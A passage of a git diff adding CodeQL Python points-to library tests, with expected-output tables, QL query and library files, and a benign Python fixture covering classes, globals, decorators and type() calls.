classmethod | builtin-class classmethod | builtin-class type | +| 36 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | +| 37 | ControlFlowNode for FunctionExpr | Function method1 | builtin-class function | +| 37 | ControlFlowNode for method1 | classmethod() | builtin-class classmethod | +| 41 | ControlFlowNode for FunctionExpr | Function method2 | builtin-class function | +| 44 | ControlFlowNode for FunctionExpr | Function deco | builtin-class function | +| 44 | ControlFlowNode for deco | Function deco | builtin-class function | +| 47 | ControlFlowNode for v1 | class C | builtin-class type | +| 47 | ControlFlowNode for v1 | class D | builtin-class type | +| 48 | ControlFlowNode for v2 | v1() | class C | +| 48 | ControlFlowNode for v2 | v1() | class D | +| 50 | ControlFlowNode for v4 | C() | class C | +| 50 | ControlFlowNode for v4 | D() | class D | +| 51 | ControlFlowNode for list | builtin-class list | builtin-class type | +| 53 | ControlFlowNode for FunctionExpr | Function h | builtin-class function | +| 53 | ControlFlowNode for h | Function h | builtin-class function | +| 54 | ControlFlowNode for Attribute | list object | builtin-class list | +| 54 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 54 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 54 | ControlFlowNode for IntegerLiteral | int 4 | builtin-class int | +| 54 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | +| 54 | ControlFlowNode for len() | len() | builtin-class int | +| 54 | ControlFlowNode for sys | Module sys | builtin-class module | +| 55 | ControlFlowNode for C | class C | builtin-class type | +| 55 | ControlFlowNode for C() | C() | class C | +| 55 | ControlFlowNode for v5 | C() | class C | +| 57 | ControlFlowNode for D | class D | builtin-class type | +| 57 | ControlFlowNode for D() | D() | class D | +| 57 | ControlFlowNode for v5 | D() | class D | +| 58 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 58 | ControlFlowNode for list | builtin-class list | builtin-class type | +| 58 | ControlFlowNode for list() | list() | builtin-class list | +| 58 | ControlFlowNode for v5 | C() | class C | +| 58 | ControlFlowNode for v5 | D() | class D | +| 60 | ControlFlowNode for FunctionExpr | Function j | builtin-class function | +| 60 | ControlFlowNode for j | Function j | builtin-class function | +| 61 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 61 | ControlFlowNode for dict | int 7 | builtin-class int | +| 61 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | +| 62 | ControlFlowNode for dict | builtin-class dict | builtin-class type | +| 63 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | +| 63 | ControlFlowNode for dict | int 7 | builtin-class int | +| 64 | ControlFlowNode for dict | int 7 | builtin-class int | +| 65 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | +| 66 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | +| 69 | ControlFlowNode for X | class X | builtin-class type | +| 70 | ControlFlowNode for X | class X | builtin-class type | +| 72 | ControlFlowNode for ImportExpr | Module abc | builtin-class module | +| 72 | ControlFlowNode for ImportMember | Function abstractmethod | builtin-class function | +| 72 | ControlFlowNode for abstractmethod | Function abstractmethod | builtin-class function | +| 73 | ControlFlowNode for abstractmethod | Function abstractmethod | builtin-class function | +| 75 | ControlFlowNode for C | class C | builtin-class type | +| 75 | ControlFlowNode for C() | C() | class C | +| 75 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 75 | ControlFlowNode for type() | class C | builtin-class type | +| 76 | ControlFlowNode for sys | Module sys | builtin-class module | +| 76 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 76 | ControlFlowNode for type() | builtin-class module | builtin-class type | +| 78 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 79 | ControlFlowNode for Dict | Dict | builtin-class dict | +| 79 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 79 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 79 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 81 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | +| 81 | ControlFlowNode for k | Function k | builtin-class function | +| 82 | ControlFlowNode for C | class C | builtin-class type | +| 82 | ControlFlowNode for C() | C() | class C | +| 82 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 82 | ControlFlowNode for type() | class C | builtin-class type | +| 83 | ControlFlowNode for sys | Module sys | builtin-class module | +| 83 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 83 | ControlFlowNode for type() | builtin-class module | builtin-class type | +| 84 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 85 | ControlFlowNode for Dict | Dict | builtin-class dict | +| 85 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 85 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 85 | ControlFlowNode for type | builtin-class type | builtin-class type | +| 88 | ControlFlowNode for FunctionExpr | Function outer | builtin-class function | +| 88 | ControlFlowNode for outer | Function outer | builtin-class function | +| 89 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 89 | ControlFlowNode for y | int 1 | builtin-class int | +| 90 | ControlFlowNode for FunctionExpr | Function inner | builtin-class function | +| 90 | ControlFlowNode for inner | Function inner | builtin-class function | +| 92 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | +| 92 | ControlFlowNode for z | int 2 | builtin-class int | +| 93 | ControlFlowNode for inner | Function inner | builtin-class function | +| 95 | ControlFlowNode for FunctionExpr | Function never_none | builtin-class function | +| 95 | ControlFlowNode for never_none | Function never_none | builtin-class function | +| 97 | ControlFlowNode for FloatLiteral | float 1.0 | builtin-class float | +| 97 | ControlFlowNode for y | float 1.0 | builtin-class float | +| 99 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 99 | ControlFlowNode for y | NoneType None | builtin-class NoneType | +| 100 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 100 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 100 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 100 | ControlFlowNode for y | NoneType None | builtin-class NoneType | +| 100 | ControlFlowNode for y | float 1.0 | builtin-class float | +| 101 | ControlFlowNode for FloatLiteral | float 0.0 | builtin-class float | +| 101 | ControlFlowNode for y | float 0.0 | builtin-class float | +| 102 | ControlFlowNode for y | float 0.0 | builtin-class float | +| 102 | ControlFlowNode for y | float 1.0 | builtin-class float | +| 104 | ControlFlowNode for FunctionExpr | Function outer_use_vars | builtin-class function | +| 104 | ControlFlowNode for outer_use_vars | Function outer_use_vars | builtin-class function | +| 105 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 105 | ControlFlowNode for y | int 1 | builtin-class int | +| 106 | ControlFlowNode for FunctionExpr | Function inner | builtin-class function | +| 106 | ControlFlowNode for inner | Function inner | builtin-class function | +| 108 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | +| 108 | ControlFlowNode for z | int 2 | builtin-class int | +| 109 | ControlFlowNode for y | int 1 | builtin-class int | +| 109 | ControlFlowNode for z | int 2 | builtin-class int | +| 110 | ControlFlowNode for inner | Function inner | builtin-class function | +| 112 | ControlFlowNode for FunctionExpr | Function literals_in_func | builtin-class function | +| 112 | ControlFlowNode for literals_in_func | Function literals_in_func | builtin-class function | +| 113 | ControlFlowNode for True | bool True | builtin-class bool | +| 114 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 115 | ControlFlowNode for IntegerLiteral | int 1346 | builtin-class int | +| 116 | ControlFlowNode for FloatLiteral | float 0.7 | builtin-class float | +| 117 | ControlFlowNode for ClassExpr | class X | builtin-class type | +| 117 | ControlFlowNode for X | class X | builtin-class type | +| 117 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 118 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | +| 118 | ControlFlowNode for f | Function f | builtin-class function | +| 119 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 120 | ControlFlowNode for List | List | builtin-class list | +| 122 | ControlFlowNode for Lambda | Function lambda | builtin-class function | +| 122 | ControlFlowNode for following | Function following | builtin-class function | +| 122 | ControlFlowNode for following() | NoneType None | builtin-class NoneType | +| 122 | ControlFlowNode for y | Function lambda | builtin-class function | +| 124 | ControlFlowNode for FunctionExpr | Function following | builtin-class function | +| 124 | ControlFlowNode for following | Function following | builtin-class function | +| 127 | ControlFlowNode for Dict | Dict | builtin-class dict | +| 127 | ControlFlowNode for FunctionExpr | Function params_and_defaults | builtin-class function | +| 127 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 127 | ControlFlowNode for params_and_defaults | Function params_and_defaults | builtin-class function | +| 129 | ControlFlowNode for b | Dict | builtin-class dict | +| 130 | ControlFlowNode for c | int 1 | builtin-class int | +| 132 | ControlFlowNode for FunctionExpr | Function inner_cls | builtin-class function | +| 132 | ControlFlowNode for inner_cls | Function inner_cls | builtin-class function | +| 133 | ControlFlowNode for A | class A | builtin-class type | +| 133 | ControlFlowNode for BaseException | builtin-class BaseException | builtin-class type | +| 133 | ControlFlowNode for ClassExpr | class A | builtin-class type | +| 135 | ControlFlowNode for A | class A | builtin-class type | +| 135 | ControlFlowNode for A() | A() | class A | +| 135 | ControlFlowNode for a | A() | class A | +| 136 | ControlFlowNode for a | A() | class A | +| 138 | ControlFlowNode for ImportExpr | Module xyz | builtin-class module | +| 139 | ControlFlowNode for ImportExpr | Module xyz | builtin-class module | +| 139 | ControlFlowNode for xyz | Module xyz | builtin-class module | +| 140 | ControlFlowNode for Attribute | float 1.0 | builtin-class float | +| 140 | ControlFlowNode for xyz | Module xyz | builtin-class module | +| 141 | ControlFlowNode for z | float 3.0 | builtin-class float | +| 145 | ControlFlowNode for Base | class Base | builtin-class type | +| 145 | ControlFlowNode for ClassExpr | class Base | builtin-class type | +| 145 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 147 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | +| 147 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | +| 148 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 148 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 148 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 149 | ControlFlowNode for Attribute | class Derived1 | builtin-class type | +| 149 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | +| 149 | ControlFlowNode for self | self | class Base | +| 150 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 150 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 150 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | +| 151 | ControlFlowNode for Attribute | class Derived2 | builtin-class type | +| 151 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | +| 151 | ControlFlowNode for self | self | class Base | +| 153 | ControlFlowNode for Attribute | class Derived3 | builtin-class type | +| 153 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | +| 153 | ControlFlowNode for self | self | class Base | +| 155 | ControlFlowNode for Base | class Base | builtin-class type | +| 155 | ControlFlowNode for ClassExpr | class Derived1 | builtin-class type | +| 155 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | +| 158 | ControlFlowNode for Base | class Base | builtin-class type | +| 158 | ControlFlowNode for ClassExpr | class Derived2 | builtin-class type | +| 158 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | +| 161 | ControlFlowNode for Base | class Base | builtin-class type | +| 161 | ControlFlowNode for ClassExpr | class Derived3 | builtin-class type | +| 161 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | +| 164 | ControlFlowNode for Base | class Base | builtin-class type | +| 167 | ControlFlowNode for FunctionExpr | Function multiple_assignment | builtin-class function | +| 167 | ControlFlowNode for multiple_assignment | Function multiple_assignment | builtin-class function | +| 168 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 168 | ControlFlowNode for _list | builtin-class list | builtin-class type | +| 168 | ControlFlowNode for _tuple | builtin-class tuple | builtin-class type | +| 168 | ControlFlowNode for list | builtin-class list | builtin-class type | +| 168 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | +| 169 | ControlFlowNode for _tuple | builtin-class tuple | builtin-class type | +| 170 | ControlFlowNode for _list | builtin-class list | builtin-class type | +| 173 | ControlFlowNode for Base2 | class Base2 | builtin-class type | +| 173 | ControlFlowNode for ClassExpr | class Base2 | builtin-class type | +| 173 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 175 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | +| 175 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | +| 178 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 178 | ControlFlowNode for x | int 1 | builtin-class int | +| 180 | ControlFlowNode for Base2 | class Base2 | builtin-class type | +| 180 | ControlFlowNode for ClassExpr | class Derived4 | builtin-class type | +| 180 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | +| 182 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | +| 182 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | +| 183 | ControlFlowNode for Attribute | super().x | builtin-class method | +| 183 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | +| 183 | ControlFlowNode for self | self | class Derived4 | +| 183 | ControlFlowNode for super | builtin-class super | builtin-class type | +| 183 | ControlFlowNode for super() | super() | builtin-class super | +| 184 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | +| 184 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | +| 184 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | +| 184 | ControlFlowNode for self | self | class Derived4 | +| 184 | ControlFlowNode for super | builtin-class super | builtin-class type | +| 184 | ControlFlowNode for super() | super() | builtin-class super | +| 187 | ControlFlowNode for FunctionExpr | Function vararg_kwarg | builtin-class function | +| 187 | ControlFlowNode for d | d | builtin-class dict | +| 187 | ControlFlowNode for t | t | builtin-class tuple | +| 187 | ControlFlowNode for vararg_kwarg | Function vararg_kwarg | builtin-class function | +| 188 | ControlFlowNode for t | t | builtin-class tuple | +| 189 | ControlFlowNode for d | d | builtin-class dict | +| 193 | ControlFlowNode for ClassExpr | class E | builtin-class type | +| 193 | ControlFlowNode for E | class E | builtin-class type | +| 193 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 195 | ControlFlowNode for FunctionExpr | Function _internal | builtin-class function | +| 195 | ControlFlowNode for _internal | Function _internal | builtin-class function | +| 197 | ControlFlowNode for FunctionExpr | Function wrapper | builtin-class function | +| 197 | ControlFlowNode for wrapper | Function wrapper | builtin-class function | +| 199 | ControlFlowNode for wrapper | Function wrapper | builtin-class function | +| 201 | ControlFlowNode for _internal | Function _internal | builtin-class function | +| 201 | ControlFlowNode for _internal() | Function wrapper | builtin-class function | +| 202 | ControlFlowNode for FunctionExpr | Function method | builtin-class function | +| 202 | ControlFlowNode for args | args | builtin-class tuple | +| 202 | ControlFlowNode for method | Function wrapper | builtin-class function | +| 206 | ControlFlowNode for FunctionExpr | Function calls_next | builtin-class function | +| 206 | ControlFlowNode for calls_next | Function calls_next | builtin-class function | +| 207 | ControlFlowNode for iter | Builtin-function iter | builtin-class builtin_function_or_method | +| 208 | ControlFlowNode for next | Builtin-function next | builtin-class builtin_function_or_method | +| 213 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | +| 213 | ControlFlowNode for ImportMember | Builtin-function exit | builtin-class builtin_function_or_method | +| 213 | ControlFlowNode for exit | Builtin-function exit | builtin-class builtin_function_or_method | +| 217 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 217 | ControlFlowNode for g1 | NoneType None | builtin-class NoneType | +| 219 | ControlFlowNode for FunctionExpr | Function assign_global | builtin-class function | +| 219 | ControlFlowNode for assign_global | Function assign_global | builtin-class function | +| 221 | ControlFlowNode for IntegerLiteral | int 101 | builtin-class int | +| 221 | ControlFlowNode for g1 | int 101 | builtin-class int | +| 222 | ControlFlowNode for g1 | int 101 | builtin-class int | +| 226 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 226 | ControlFlowNode for g2 | NoneType None | builtin-class NoneType | +| 228 | ControlFlowNode for FunctionExpr | Function init | builtin-class function | +| 228 | ControlFlowNode for init | Function init | builtin-class function | +| 230 | ControlFlowNode for IntegerLiteral | int 102 | builtin-class int | +| 230 | ControlFlowNode for g2 | int 102 | builtin-class int | +| 232 | ControlFlowNode for init | Function init | builtin-class function | +| 232 | ControlFlowNode for init() | NoneType None | builtin-class NoneType | +| 233 | ControlFlowNode for g2 | int 102 | builtin-class int | +| 236 | ControlFlowNode for None | NoneType None | builtin-class NoneType | +| 236 | ControlFlowNode for g3 | NoneType None | builtin-class NoneType | +| 238 | ControlFlowNode for ClassExpr | class Ugly | builtin-class type | +| 238 | ControlFlowNode for Ugly | class Ugly | builtin-class type | +| 238 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 240 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | +| 240 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | +| 242 | ControlFlowNode for IntegerLiteral | int 103 | builtin-class int | +| 242 | ControlFlowNode for g3 | int 103 | builtin-class int | +| 244 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | +| 244 | ControlFlowNode for meth | Function meth | builtin-class function | +| 245 | ControlFlowNode for g3 | int 103 | builtin-class int | +| 248 | ControlFlowNode for ClassExpr | class F | builtin-class type | +| 248 | ControlFlowNode for F | class F | builtin-class type | +| 248 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 250 | ControlFlowNode for g3 | NoneType None | builtin-class NoneType | +| 251 | ControlFlowNode for g3 | NoneType None | builtin-class NoneType | +| 254 | ControlFlowNode for ClassExpr | class G | builtin-class type | +| 254 | ControlFlowNode for G | class G | builtin-class type | +| 254 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 256 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | +| 256 | ControlFlowNode for attr | int 0 | builtin-class int | +| 258 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | +| 258 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | +| 259 | ControlFlowNode for Attribute | int 1 | builtin-class int | +| 259 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | +| 259 | ControlFlowNode for self | self | class G | +| 261 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | +| 261 | ControlFlowNode for meth | Function meth | builtin-class function | +| 262 | ControlFlowNode for Attribute | int 2 | builtin-class int | +| 262 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | +| 262 | ControlFlowNode for self | self | class G | +| 263 | ControlFlowNode for Attribute | int 3 | builtin-class int | +| 263 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | +| 263 | ControlFlowNode for self | self | class G | +| 264 | ControlFlowNode for Attribute | int 3 | builtin-class int | +| 264 | ControlFlowNode for self | self | class G | +| 267 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | +| 267 | ControlFlowNode for Derived4() | Derived4() | class Derived4 | diff --git a/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.ql b/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.ql new file mode 100644 index 00000000000..693d0b2b84b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.ql @@ -0,0 +1,10 @@ + +import python +import interesting +import Util + +from int line, ControlFlowNode f, Object o, ClassObject cls +where + of_interest(f, line) and + f.refersTo(o, cls, _) +select line, f.toString(), repr(o), repr(cls) diff --git a/python/ql/test/library-tests/PointsTo/general/Util.qll b/python/ql/test/library-tests/PointsTo/general/Util.qll new file mode 100644 index 00000000000..f75ed24f4f0 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/Util.qll @@ -0,0 +1,10 @@ +import python + +string repr(Object o) { + not o instanceof StringObject and not o = theBoundMethodType() and result = o.toString() + or + /* Work around differing names in 2/3 */ + result = "'" + o.(StringObject).getText() + "'" + or + o = theBoundMethodType() and result = "builtin-class method" +} diff --git a/python/ql/test/library-tests/PointsTo/general/interesting.qll b/python/ql/test/library-tests/PointsTo/general/interesting.qll new file mode 100644 index 00000000000..2a5259dd176 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/interesting.qll @@ -0,0 +1,14 @@ + +import python + +predicate of_interest(ControlFlowNode n, int line) { + exists(Location l, File f | l = n.getLocation() | + line = l.getStartLine() and + f = l.getFile() and + f.getName().matches("%test.py%") and + exists(Comment c | + c.getLocation().getStartLine() < line and + c.getLocation().getFile() = f + ) + ) +} diff --git a/python/ql/test/library-tests/PointsTo/general/options b/python/ql/test/library-tests/PointsTo/general/options new file mode 100644 index 00000000000..b91afde0767 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 diff --git a/python/ql/test/library-tests/PointsTo/general/pointsto_test.py b/python/ql/test/library-tests/PointsTo/general/pointsto_test.py new file mode 100644 index 00000000000..26fcce71ef9 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/pointsto_test.py @@ -0,0 +1,267 @@ +from __future__ import unicode_literals +import sys +class C(object): + + x = 'C_x' + + def __init__(self): + self.y = 'c_y' + +class D(object): + + x = 'D_x' + + def __init__(self): + self.y = 'd_y' +#Comment here +if len(sys.argv) > 2: + v1 = C +else: + v1 = D +v2 = v1() + +def f(): + if len(sys.argv) > 3: + v3 = C() + else: + v3 = D() + return v3 + +def g(arg): + return arg + +v4 = g(f()) + +class X(object): + @classmethod + def method1(cls): + pass + + @deco + def method2(self): + pass + +def deco(f): + return f + +v1 +v2 +v3 +v4 +list + +def h(args): + if len(sys.argv) > 4: + v5 = C() + else: + v5 = D() + return v5, list(args) + +def j(): + return tuple, dict +dict +dict = 7 +dict +tuple = tuple +tuple + + +X.method1 +X.method2 + +from abc import abstractmethod +abstractmethod + +type(C()) +type(sys) +from module import unknown +type(unknown) +type(name, (object,), {}) + +def k(arg): + type(C()) + type(sys) + type(arg) + type(name, (object,), {}) + +#Value of variables in inner functions +def outer(x): + y = 1 + def inner(): + return y + z + z = 2; + return inner + +def never_none(x): + if test(x): + y = 1.0 + else: + y = None + if y is None: + y = 0.0 + return y + +def outer_use_vars(x): + y = 1 + def inner(): + return y + z + z = 2; + y + z + return inner + +def literals_in_func(): + True + None + 1346 + 0.7 + class X(object): pass + def f(): pass + (a, b) + [a, b] + +y = lambda x : following() + +def following(): + pass + +def params_and_defaults(a, b={}, c = 1): + a + b + c + +def inner_cls(): + class A(BaseException): + pass + a = A() + raise a + +from xyz import * +import xyz +xyz.x +z + +#ODASA-3263 +#Django does this +class Base(object): + + def __init__(self, choice): + if choice == 1: + self.__class__ = Derived1 + elif choice == 2: + self.__class__ = Derived2 + else: + self.__class__ = Derived3 + +class Derived1(Base): + pass + +class Derived2(Base): + pass + +class Derived3(Base): + pass + +thing = Base(unknown()) + + +def multiple_assignment(): + _tuple, _list = tuple, list + _tuple + _list + + +class Base2(object): + + def __init__(self): + pass + + x = 1 + +class Derived4(Base2): + + def __init__(self): + super(Derived4, self).x + return super(Derived4, self).__init__() + + +def vararg_kwarg(*t, **d): + t + d + + +#ODASA-4055 +class E(object): + + def _internal(arg): + # arg is not a C + def wrapper(args): + return arg(args) + return wrapper + + @_internal + def method(self, *args): + pass + +#Builtin function calls +def calls_next(seq): + it = iter(seq) + n = next(it) + return n + + +#Check imports from builtin modules +from sys import exit + + +#Global assignment in local scope +g1 = None + +def assign_global(): + global g1 + g1 = 101 + return g1 # Cannot be None + +#Assignment in local scope, but called from module level + +g2 = None + +def init(): + global g2 + g2 = 102 # Cannot be None + +init() +g2 # Cannot be None + +#Global set in init method +g3 = None + +class Ugly(object): + + def __init__(self): + global g3 + g3 = 103 + + def meth(self): + return g3 # Cannot be None + +#Global in class scope +class F(object): + + g3 = g3 + g3 + +#Locally redefined attribute +class G(object): + + attr = 0 + + def __init__(self): + self.attr = 1 + + def meth(self): + self.attr = 2 + self.attr = 3 + self.attr + +# Self can only be of a class that is instantiated. +Derived4() diff --git a/python/ql/test/library-tests/PointsTo/general/xyz.py b/python/ql/test/library-tests/PointsTo/general/xyz.py new file mode 100644 index 00000000000..392054917df --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/xyz.py @@ -0,0 +1,4 @@ + +x = 1.0 +y = 2.0 +z = 3.0 diff --git a/python/ql/test/library-tests/PointsTo/guarded/PointsTo.expected b/python/ql/test/library-tests/PointsTo/guarded/PointsTo.expected new file mode 100644 index 00000000000..780529a795d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/PointsTo.expected @@ -0,0 +1,77 @@ +| test.py | 8 | ControlFlowNode for x | int 7 | 7 | +| test.py | 14 | ControlFlowNode for x | NoneType None | 10 | +| test.py | 14 | ControlFlowNode for x | int 7 | 13 | +| test.py | 20 | ControlFlowNode for x | NoneType None | 19 | +| test.py | 26 | ControlFlowNode for x | int 7 | 25 | +| test.py | 32 | ControlFlowNode for x | NoneType None | 28 | +| test.py | 32 | ControlFlowNode for x | int 7 | 31 | +| test.py | 38 | ControlFlowNode for x | NoneType None | 37 | +| test.py | 43 | ControlFlowNode for i | float 1.0 | 42 | +| test.py | 48 | ControlFlowNode for i | int 0 | 45 | +| test.py | 53 | ControlFlowNode for i | int 0 | 52 | +| test.py | 58 | ControlFlowNode for i | float 1.0 | 57 | +| test.py | 63 | ControlFlowNode for i | float 1.0 | 62 | +| test.py | 63 | ControlFlowNode for i | int 0 | 60 | +| test.py | 68 | ControlFlowNode for i | int 0 | 67 | +| test.py | 74 | ControlFlowNode for i | float 1.0 | 73 | +| test.py | 79 | ControlFlowNode for i | int 7 | 76 | +| test.py | 84 | ControlFlowNode for i | int 7 | 83 | +| test.py | 90 | ControlFlowNode for b | int 7 | 89 | +| test.py | 96 | ControlFlowNode for b | bool True | 92 | +| test.py | 96 | ControlFlowNode for b | int 7 | 95 | +| test.py | 103 | ControlFlowNode for b | bool False | 99 | +| test.py | 103 | ControlFlowNode for b | int 7 | 102 | +| test.py | 109 | ControlFlowNode for b | int 7 | 108 | +| test.py | 114 | ControlFlowNode for t | builtin-class type | 111 | +| test.py | 119 | ControlFlowNode for t | builtin-class object | 118 | +| test.py | 125 | ControlFlowNode for u | int 7 | 124 | +| test.py | 131 | ControlFlowNode for u | int 7 | 130 | +| test.py | 137 | ControlFlowNode for u | int 7 | 136 | +| test.py | 143 | ControlFlowNode for u | int 7 | 142 | +| test.py | 151 | ControlFlowNode for u | int 7 | 150 | +| test.py | 157 | ControlFlowNode for u | int 7 | 156 | +| test.py | 164 | ControlFlowNode for s | float 1.0 | 163 | +| test.py | 169 | ControlFlowNode for f | int 0 | 168 | +| test.py | 176 | ControlFlowNode for x | int 0 | 175 | +| test.py | 181 | ControlFlowNode for x | int 0 | 180 | +| test.py | 186 | ControlFlowNode for x | int 0 | 185 | +| test.py | 186 | ControlFlowNode for x | object() | 172 | +| test.py | 199 | ControlFlowNode for f | int 0 | 198 | +| test.py | 207 | ControlFlowNode for s | builtin-class type | 206 | +| test.py | 214 | ControlFlowNode for s | class C2 | 202 | +| test.py | 215 | ControlFlowNode for s | builtin-class type | 212 | +| test.py | 215 | ControlFlowNode for s | class C2 | 202 | +| test.py | 220 | ControlFlowNode for s | int 0 | 219 | +| test.py | 234 | ControlFlowNode for f | int 0 | 233 | +| test.py | 252 | ControlFlowNode for Attribute | int 1 | 242 | +| test.py | 254 | ControlFlowNode for Attribute | int 2 | 245 | +| test.py | 272 | ControlFlowNode for x | int 1 | 271 | +| test.py | 276 | ControlFlowNode for Attribute | int 1 | 271 | +| test.py | 286 | ControlFlowNode for y | NoneType None | 281 | +| test.py | 297 | ControlFlowNode for y | NoneType None | 291 | +| test.py | 301 | ControlFlowNode for x | NoneType None | 291 | +| test.py | 308 | ControlFlowNode for z | int 7 | 305 | +| test.py | 314 | ControlFlowNode for b | NoneType None | 311 | +| test.py | 332 | ControlFlowNode for Attribute | int 4 | 322 | +| test.py | 339 | ControlFlowNode for Attribute | int 4 | 322 | +| test.py | 347 | ControlFlowNode for Attribute | int 4 | 322 | +| test.py | 369 | ControlFlowNode for g2 | float 2.0 | 366 | +| test.py | 382 | ControlFlowNode for g3 | bool True | 379 | +| test.py | 389 | ControlFlowNode for g4 | int 7 | 396 | +| test.py | 408 | ControlFlowNode for x | int 1 | 404 | +| test.py | 420 | ControlFlowNode for Attribute | NoneType None | 418 | +| test.py | 427 | ControlFlowNode for Attribute | NoneType None | 418 | +| type_test.py | 5 | ControlFlowNode for d | Dict | 2 | +| type_test.py | 14 | ControlFlowNode for x | int 0 | 11 | +| type_test.py | 16 | ControlFlowNode for x | float 1.0 | 11 | +| type_test.py | 22 | ControlFlowNode for arg | builtin-class int | 20 | +| type_test.py | 35 | ControlFlowNode for arg | E() | 32 | +| type_test.py | 42 | ControlFlowNode for arg | E() | 39 | +| type_test.py | 49 | ControlFlowNode for arg | class E | 29 | +| type_test.py | 55 | ControlFlowNode for arg | class E | 29 | +| type_test.py | 67 | ControlFlowNode for x | float 1.0 | 62 | +| type_test.py | 67 | ControlFlowNode for x | int 0 | 62 | +| type_test.py | 77 | ControlFlowNode for IntegerLiteral | int 0 | 77 | +| type_test.py | 83 | ControlFlowNode for IntegerLiteral | int 0 | 83 | +| type_test.py | 89 | ControlFlowNode for IntegerLiteral | int 0 | 89 | +| type_test.py | 95 | ControlFlowNode for IntegerLiteral | int 0 | 95 | diff --git a/python/ql/test/library-tests/PointsTo/guarded/PointsTo.ql b/python/ql/test/library-tests/PointsTo/guarded/PointsTo.ql new file mode 100644 index 00000000000..98644b02e99 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/PointsTo.ql @@ -0,0 +1,7 @@ +import python + +from ControlFlowNode f, Object o, ControlFlowNode x + +where f.refersTo(o, x) and exists(CallNode call | call.getFunction().getNode().(Name).getId() = "use" and call.getArg(0) = f) + +select f.getLocation().getFile().getShortName(), f.getLocation().getStartLine(), 